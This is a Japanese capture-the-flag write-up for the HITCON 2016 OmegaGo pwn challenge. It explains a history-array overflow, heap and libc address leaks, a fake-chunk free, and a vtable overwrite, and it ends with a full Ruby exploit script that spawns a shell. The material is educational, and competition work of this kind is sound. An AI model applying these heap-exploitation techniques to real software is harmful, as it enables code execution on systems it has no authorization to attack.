HITCON 2016 Quals - OmegaGo writeup
CTF Advent Calendar 2016 8日目です。
WiiU国内発売からちょうど4年らしいです。
先日、HITCON 2016 Qualsで出題されたOmegaGo (pwn350)を大会後に1週間かけて解いたのですが、
writeupが見たいというリクエストがあったので置いておきます。
Advent Calendarの記事ということで、いつもよりまじめに[要出典]書きました(`・ω・´)
概要
囲碁で遊べるプログラム。
$ ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac ABCDEFGHIJKLMNOPQRS 19 ................... 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................... Time remain: O: 180.00, X: 180.00 A19 ABCDEFGHIJKLMNOPQRS 19 X.................. 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ..................O Time remain: O: 180.00, X: 173.73 B19 ABCDEFGHIJKLMNOPQRS 19 XX................. 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ................... 11 ................... 10 .........O......... 9 ................... 8 ................... 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 .................OO Time remain: O: 180.00, X: 168.67 surrender This AI is too strong, ah? Play history? (y/n) n Play again? (y/n) n
まずは下調べ。
$ file omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=6101f150902c6814bd0576f35c60473105a5466e, stripped $ checksec --file omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
主な仕様はこんな感じ。
- 対局が始まると、CPU用とプレーヤー用にそれぞれvtable pointerを持ったオブジェクト(以下
Player_CPU
,Player_Human
)がmalloc(8)
で作られる - CPU(
"O"
)が先手で、プレーヤー("X"
)が後手 - ルールは囲碁とだいたい同じ(だと思う)
- プレーヤーの取れる行動は「石を置く」「regret(待った)」「surrender(投了)」のいずれか
- プレーヤーのコマンド入力のためのバッファはbssに用意されている
- CPUは最初の一手は中央に、それ以降はマネ碁をする(真似できなかった場合はA19→B19→……→S19→A18→B18→……S18→……→S1の順で石を置ける場所を探す)
- 現在の局面に関する情報は、bss上に次のようなレイアウトで保持する(以下
status
)
struct Status { // sizeof(struct Status) == 0x80 /* * 盤面の状態を表すビット列 * 2bitで1目を表し、 * 0: 空き(画面上は".") * 1: CPUの石(画面上は"O") * 2: プレーヤーの石(画面上は"X") * 3: 未定義(画面上は"\0") */ unsigned char board[96]; // +0x0 /* 最後に置かれた石の座標 */ int last_y; // +0x60 int last_x; // +0x64 /* 最後に置かれた石の種類 */ long last_token; // +0x68 /* CPUとプレーヤーの持ち時間 */ double cpu_time; // +0x70 double player_time; // +0x78 }
- 対局者がどこかに石を置くと、石を置いた後の
status
の状態がヒープ上にコピーされ、
コピー先のアドレスがbss上の配列struct Status *history[364]
に格納されていく- 365手目以降も記録が行われるため、対局が長引くと
history
の後ろにあるstatus
が破壊される
- 365手目以降も記録が行われるため、対局が長引くと
- 劫を防ぐため、一手打つごとに盤面の状態のハッシュ値を
history
とは別の赤黒木に登録していく - プレーヤーが「regret(待った)」を選ぶと、次に示すコードの
regret
関数のような処理が走る
void undo() { unsigned long hash; if (history[history_count - 1]) { hash = compute_hash(history[history_count - 1]); // 盤面のハッシュ値を計算 free(history[history_count - 1]); // history用の領域を解放 remove_hash_from_rb_tree(hash); // 赤黒木からハッシュ値を削除 history_count--; } } int regret() { if (history_count > 1) { undo(); undo(); if (history[history_count - 1]) { restore(history[history_count - 1]); // historyに記録されている状態をstatusに書き戻す } return 1; } else { return 0; } }
- 先手・後手のどちらかが石を置けなくなった場合、またはプレーヤーが投了した場合に勝敗が決まり、再対局するかどうかを聞かれる
- 再対局することを選んだ場合、初期化処理(
history
に記録されたアドレスをすべてfreeし、赤黒木用の領域もすべて解放)を経て新しい対局が始まる- このとき、
Player_CPU
とPlayer_Human
も新しく作り直されるが、古いPlayer_CPU
とPlayer_Human
は解放されずにヒープ上に残ったままになる
このため、投了を繰り返すことでヒープのアドレスを調節することができる
- このとき、
- 再対局することを選んだ場合、初期化処理(
- 時間切れになった場合はプログラム終了
上記から分かるとおり、明らかにバグと言えるものは一つしかない。
とりあえず365手目まで進めればヒープのアドレスは分かりそうなので、まずはそこまで進めてみる。
アドレスリーク
まず、調査をやりやすくするために、status
の状態をいい感じに表示してくれるPEDA用のスクリプトを書いた。
# helper.py import struct def print_status(addr): board = peda.readmem(addr, 0x60) last_y = peda.read_int(addr + 0x60, 4) last_x = peda.read_int(addr + 0x64, 4) last_token = peda.read_long(addr + 0x68) time_cpu, time_human = struct.unpack("<dd", peda.readmem(addr + 0x70, 16)) print("[board]") for y in range(19): s = " " for x in range(19): s += str((board[(y * 19 + x) // 4] >> (((y * 19 + x) % 4) * 2)) & 3) print(s) print("[board (raw)]") for i in range(0, len(board) // 8, 2): print(" 0x%016x 0x%016x" % struct.unpack("<QQ", board[i * 8 : (i + 2) * 8])) print("[other info]") print(" last (y, x) = (%d, %d)" % (last_y, last_x)) print(" last token = 0x%x" % last_token) print(" time_cpu = %f" % time_cpu) print(" time_human = %f" % time_human)
# helper source helper.py define status if $argc == 0 python print_status(0x609fc0) else eval "python print_status(0x%x)", $arg0 end end
使用例
gdb-peda$ source helper gdb-peda$ status # 現在のstatusの状態を表示 [board] 2220000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0002220000000000000 0000000000000000000 0000000000000000000 0000000001000000000 0000000000000000000 0000000000000000000 0000000000000111000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000111 [board (raw)] 0x000000000000002a 0x0000000000000000 0x0000000000000000 0x0000a80000000000 0x0000000000000000 0x0000010000000000 0x0000000000000000 0x0000005400000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000015000 [other info] last (y, x) = (12, 13) last token = 0x4f time_cpu = 179.999932 time_human = 163.342170 gdb-peda$ status 0x000000000060b080 # 指定したアドレスをStatus構造体とみなして表示 [board] 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000001000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 [board (raw)] 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000010000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 [other info] last (y, x) = (9, 9) last token = 0x4f time_cpu = 179.999999 time_human = 180.000000
なお、Python 3なgdbだとpeda.read_int
系のメソッドがエラーになるが、Pythonよく分かっていないマンがPEDA本家にissueやPRを投げるのは恐れ多かったので、雑に直した。
さて、363手目まで進めた状態がこちら。
ABCDEFGHIJKLMNOPQRS 19 ................... 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 ..................X 11 XXXXXXXXXXXXXXXXXXX 10 XXXXXXXXXOOOOOOOOOO 9 OOOOOOOOOOOOOOOOOOO 8 O.................. 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................... Time remain: O: 179.99, X: 147.76
ここから両者さらに1手ずつ打つと、こうなる。(H19は空白に見えるが、実際はnull byteが出ている)
ABCDEFGHIJKLMNOPQRS 19 ...XO.. O.XO....... 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 .................XX 11 XXXXXXXXXXXXXXXXXXX 10 XXXXXXXXXOOOOOOOOOO 9 OOOOOOOOOOOOOOOOOOO 8 OO................. 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................... Time remain: O: 179.99, X: 147.59
gdb-peda$ status [board] 0002100310210000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000022 2222222222222222222 2222222221111111111 1111111111111111111 1100000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 [board (raw)] 0x000000000061c180 0x0000000000000000 0x0000000000000000 0x0000000000000000 0xaaaaa00000000000 0x555555aaaaaaaaaa 0x0000001555555555 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 [other info] last (y, x) = (11, 1) last token = 0x4f time_cpu = 179.994260 time_human = 147.587592 gdb-peda$ vmmap 0x000000000061c180 Start End Perm Name 0x00608000 0x0062c000 rw-p [heap]
history
がstatus
の領域にまで侵入してきているので、このときの盤面の状態からヒープのアドレスを求めることができる。(今回はヒープのアドレスは使わないが)
ここで盤面の左上部分に石を置くことでhistory[364]
を書き換え、その次の手番で待ったをかけてみる。
# 365手目まで ABCDEFGHIJKLMNOPQRS 19 ...XO.. O.XO....... 18 ................... 17 ................... 16 ................... 15 ................... 14 ................... 13 ................... 12 .................XX 11 XXXXXXXXXXXXXXXXXXX 10 XXXXXXXXXOOOOOOOOOO 9 OOOOOOOOOOOOOOOOOOO 8 OO................. 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................... Time remain: O: 179.99, X: 147.59 [board] 0002100310210000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000022 2222222222222222222 2222222221111111111 1111111111111111111 1100000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 [board (raw)] 0x000000000061c180 0x0000000000000000 # ←historyの最後尾は0x61c180の部分 0x0000000000000000 0x0000000000000000 0xaaaaa00000000000 0x555555aaaaaaaaaa 0x0000001555555555 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 [other info] last (y, x) = (11, 1) last token = 0x4f time_cpu = 179.994260 time_human = 147.587592 -------------------------------------------------- # 366手目(プレーヤーがC19に石を置く) -------------------------------------------------- # 367手目まで ABCDEFGHIJKLMNOPQRS 19 ..XXO.. O.XO....... 18 ................OX. 17 . O.XO............. 16 ........... .. O.XO 15 ................... 14 ................... 13 ................... 12 .................XX 11 XXXXXXXXXXXXXXXXXXX 10 XXXXXXXXXOOOOOOOOOO 9 OOOOOOOOOOOOOOOOOOO 8 OO................. 7 ................... 6 ................... 5 ................... 4 ................... 3 ................... 2 ................... 1 ................O.. Time remain: O: 179.99, X: 141.09 [board] 0022100310210000000 0000000000000000120 0310210000000000000 0000000000030031021 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000022 2222222222222222222 2222222221111111111 1111111111111111111 1100000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000100 [board (raw)] 0x000000000061c1a0 0x000000000061c240 # ←C19に置いたことで0x60c180が0x60c1a0になった 0x000000000061c300 0x0000000000000000 # ←historyの最後尾は0x61c300の部分 0xaaaaa00000000000 0x555555aaaaaaaaaa 0x0000001555555555 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000001000 [other info] last (y, x) = (18, 16) last token = 0x4f time_cpu = 179.993311 time_human = 141.094860 # ここでプレーヤーが待ったをかけると # free(0x61c300)→free(0x61c240)→restore(0x61c1a0) # が実行され、最終的にこうなる ABCDEFGHIJKLMNOPQRS 19 ................... 18 ...XXXXXXXXXXXXXXXX 17 XXXXXXXXXXXXXXOOOOO 16 OOOOOOOOOOOOOOOOOOO 15 OOOOOOO............ 14 ................... 13 ................... 12 ................... 11 ................... 10 ................... 9 ................... 8 ................... 7 ................... 6 ......... X........ 5 ......O............ 4 ... .O............ 3 ................ OO 2 O.O.. XOOOX. 1 OXOXO...OOOX.OOXX. Time remain: O: 0.00, X: 0.00 # 本来restore(0x61c180)されないといけないのにrestore(0x61c1a0)されたため、盤面がバグっている [board] 0000000000000000000 0002222222222222222 2222222222222211111 1111111111111111111 1111111000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000000000000000 0000000003200000000 0000001000000000000 0003301000000000000 0000000000000000311 1010033333211120333 3121210001112011220 [board (raw)] 0xaaaaa00000000000 0x555555aaaaaaaaaa 0x0000001555555555 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x000000010000000b 0x000000000000004f 0x40667fc95bff0457 0x40627ccbdba0a525 [other info] last (y, x) = (0, 0) last token = 0x31 time_cpu = 0.000000 time_human = 0.000000
このように、プレーヤーがhistory[364]
を書き換えた後に待ったをかけることで、本来渡されるはずだったものとは違うアドレスをrestore
に渡すことができ、そのアドレス周辺のデータをリークできる。
つまり、restore
にfree済みチャンク周辺のアドレスが渡されるようにすれば、そのチャンクのfd
/bk
メンバからlibcのアドレスをリークできるということになる。
(なお、「Status.board
でプレーヤーが意図的に作れるのは0("."
), 1("O"
), 2("X"
)だけ」という制約があるため、got leakはできない)
試行錯誤の結果、
- 2回投了してヒープのアドレスを調整
- 365手目まで進める(
history[364]
が0xXXX200
になる) - D19に石を置くことで
history[364]
を0xXXX200
から0xXXX280
に書き換える - 待ったをかけると
free(0xXXX380)
→free(0xXXX2c0)
→restore(0xXXX280)
が実行される restore(0xXXX280)
により、0xXXX2c0
にあったlibcのアドレスがstatus
に書き込まれる
という手順でlibcのアドレスをリークできた。
リークしたときの様子はこんな感じ。
ABCDEFGHIJKLMNOPQRS 19 ................... 18 .............O. ... 17 ................... 16 ..........O .. O.XO 15 ................... 14 ...OOXX ..XO...... 13 ................O 12 O .O.XO............ 11 ..........OO... O.X 10 O.................. 9 .. XOX.X O.O XO ... 8 X.X ... X. O.O.OX 7 ................... 6 ..........X X OOX X 5 .X O O..... 4 ....X X OOX X.X O 3 O........... 2 ................... 1 ................... Time remain: O: 0.00, X: 0.00 gdb-peda$ status [board] 0000000000000000000 0000000000000103000 0000000000000000000 0000000000130031021 0000000000000000000 0001122330021000000 0000000000000000133 1301021000000000000 0000000000110003102 1000000000000000000 0032120231013213000 2023000332033101012 0000000000000000000 0000000000232311232 0231333333333100000 0000232311232023133 3333333100000000000 0000000000000000000 0000000000000000000 [board (raw)] 0x0000000000000000 0x0000000000000031 0x000000000061c340 0x000000000060fa50 0x00000000006137d0 0x000000000061c050 0x1f2f03880db4789b 0x0000000000000091 0x00007ffff78b97b8 0x00007ffff78b97b8 0x0000000000000000 0x0000000000000000 [other info] last (y, x) = (0, 2863308800) last token = 0x555555aaaaaaaaaa time_cpu = 0.000000 time_human = 0.000000 gdb-peda$ x/gx 0x00007ffff78b97b8 0x7ffff78b97b8 <main_arena+88>: 0x000000000061c370
(ほぼ)任意アドレスのfree
これまでhistory[364]
を書き換えた状態で待ったをかけてメモリ上のデータをリークすることについて考えたが、待ったをかける代わりに投了すると、history
を初期化する処理において(ほぼ)任意アドレスのfreeもできる。
これを利用すると、
- 対局開始から数手進んだときのイメージ(赤黒木関連のチャンクは省略)
- 盤面に32byteの偽チャンクを仕込んだ状態で
history
をオーバフローさせる(1手進むごとにstatus
はヒープにコピーされるので、偽チャンクもヒープにコピーされる)
history[364]
をヒープ上の偽チャンクのアドレスに書き換える
- 投了すると
history
の初期化処理によって偽チャンクがfreeされ、32byte用のfastbinsリストに繋がれる
このとき、Status
構造体用の空きチャンクの中に偽チャンクが含まれている状態になる
- 再対局開始時に
Player_CPU
とPlayer_Human
が新しく作られる
このとき、4.でfreeした偽チャンクがPlayer_CPU
用の領域として使われる(fastbins unlink attack)
- 対局を進めつつ、盤面に適当なアドレスを作る
- 対局が進むと、どこかのタイミングで偽チャンクを含んでいる空きチャンクが再利用され、
status
をそこにコピーする処理によってPlayer_CPU
のvtable pointerが上書きされる
という手順で制御を奪うことができる。
今回はプレーヤーのコマンド入力のためのバッファがbss上に用意されているので、Player_CPU
のvtable pointerをそこに向け、コマンド入力時にOne-Gadget-RCEのアドレスを入れればシェルが取れる。
Exploit
libcはUbuntu 14.04での最新であるUbuntu EGLIBC 2.19-0ubuntu6.9
を使っている。
Ubuntu 16.04で動かす場合はstdinのバッファがヒープ上に確保されることを考慮し、投了の回数を調節する必要があるかもしれない。
#coding:ascii-8bit require "pwnlib" host = "localhost" port = 54321 libc_offset = { "main_arena" => 0x3be760, "one_gadget_rce" => 0xe66bd } @verbose = true def tube @tube end def receive_board tube.recv_until(/Time remain: .*\n\n/m).tap{|a| puts a if @verbose} end def point(y, x) "ABCDEFGHIJKLMNOPQRS"[x] + (19 - y).to_s end def decode_board(board) result = "" n = 0 for b, i in board.scan(/^\s*\d+ ([\.OX\x00]{19})\n/m).map{|a| a[0]}.join.chars.each_with_index n |= ".OX\0".index(b) << ((i % 4) * 2) if i % 4 == 3 result << n.chr n = 0 end end if i % 4 != 3 result << n.chr end result.ljust(0x60, "\0").unpack("Q*") end PwnTube.open(host, port){|t| @tube = t puts "[*] surrender to adjust heap address" 2.times{ tube.sendline("surrender") tube.recv_until("Play history? (y/n)\n") tube.sendline("n") tube.recv_until("Play again? (y/n)\n") tube.sendline("y") } puts "[*] prepare for leaking addresses" 18.times{|i| receive_board tube.sendline(point(8, i)) } 11.upto(18){|y| 19.times{|x| receive_board tube.sendline(point(y, x)) } } receive_board tube.sendline(point(8, 18)) 9.times{|i| receive_board tube.sendline(point(9, i)) } receive_board tube.sendline(point(7, 18)) receive_board tube.sendline(point(7, 17)) puts "[*] leak heap base" heap_base = decode_board(receive_board)[0] - 0x11200 puts "heap base = 0x%x" % heap_base puts "[*] leak libc base" tube.sendline(point(0, 3)) receive_board tube.sendline("regret") libc_base = decode_board(receive_board)[8] - (libc_offset["main_arena"] + 0x58) puts "libc base = 0x%x" % libc_base puts "[*] restart" 3.times{ # surrender 3 times to adjust heap address tube.sendline("surrender") tube.recv_until("Play history? (y/n)\n") tube.sendline("n") tube.recv_until("Play again? (y/n)\n") tube.sendline("y") } puts "[*] prepare for next step" 18.times{|i| receive_board tube.sendline(point(8, i)) } 11.upto(18){|y| 19.times{|x| receive_board tube.sendline(point(y, x)) } } receive_board tube.sendline(point(8, 18)) puts "[*] create fake chunk (((unsigned long*)status)[3] = ((unsigned long*)status)[5] = 0x21" receive_board tube.sendline(point(13, 17)) receive_board tube.sendline(point(5, 3)) receive_board tube.sendline(point(7, 3)) receive_board tube.sendline(point(11, 17)) puts "[*] overwrite history's pointer (0xXXX410 -> 0xXXX550)" 7.times{|i| receive_board tube.sendline(point(9, i)) } receive_board tube.sendline(point(18, 15)) receive_board tube.sendline(point(18, 14)) puts "[*] restart to free fake chunk" tube.sendline("surrender") tube.recv_until("Play history? (y/n)\n") tube.sendline("n") tube.recv_until("Play again? (y/n)\n") tube.sendline("y") puts "[*] prepare for overwriting vtable pointer" 18.times{|i| receive_board tube.sendline(point(5, i)) } 14.upto(18){|y| 19.times{|x| receive_board tube.sendline(point(y, x)) } } receive_board tube.sendline(point(5, 18)) puts "[*] set vtable pointer (((unsigned long*)0x609fc0)[4] = 0x609440)" receive_board tube.sendline(point(12, 1)) receive_board tube.sendline(point(11, 18)) receive_board tube.sendline(point(11, 17)) receive_board tube.sendline(point(7, 2)) receive_board tube.sendline(point(7, 5)) receive_board tube.sendline(point(11, 12)) puts "[*] fill until vtable pointer is overwritten" 3.times{|y| 19.times{|x| receive_board tube.sendline(point(y, x)) } } 5.times{|i| receive_board tube.sendline(point(3, i)) } puts "[*] set vtable" receive_board tube.sendline(point(3, 5).ljust(4, "_") + [libc_base + libc_offset["one_gadget_rce"]].pack("Q")[0...6]) puts "[*] launch shell" tube.interactive }
実行したときの様子をasciinemaで撮ってみた。(わかりやすいように要所要所でsleep
を入れている)
感想
こういう問題を作れるのも頭おかしい(褒め言葉)んだけど、これを大会中に解いてるのも頭おかしい(褒め言葉)
— しゃろ (@Charo_IT) November 8, 2016
CTF Advent Calendar 2016 9日目は、inaz2さんの「Hack The Vote 2016 The Best RSA (Crypto 250)」です!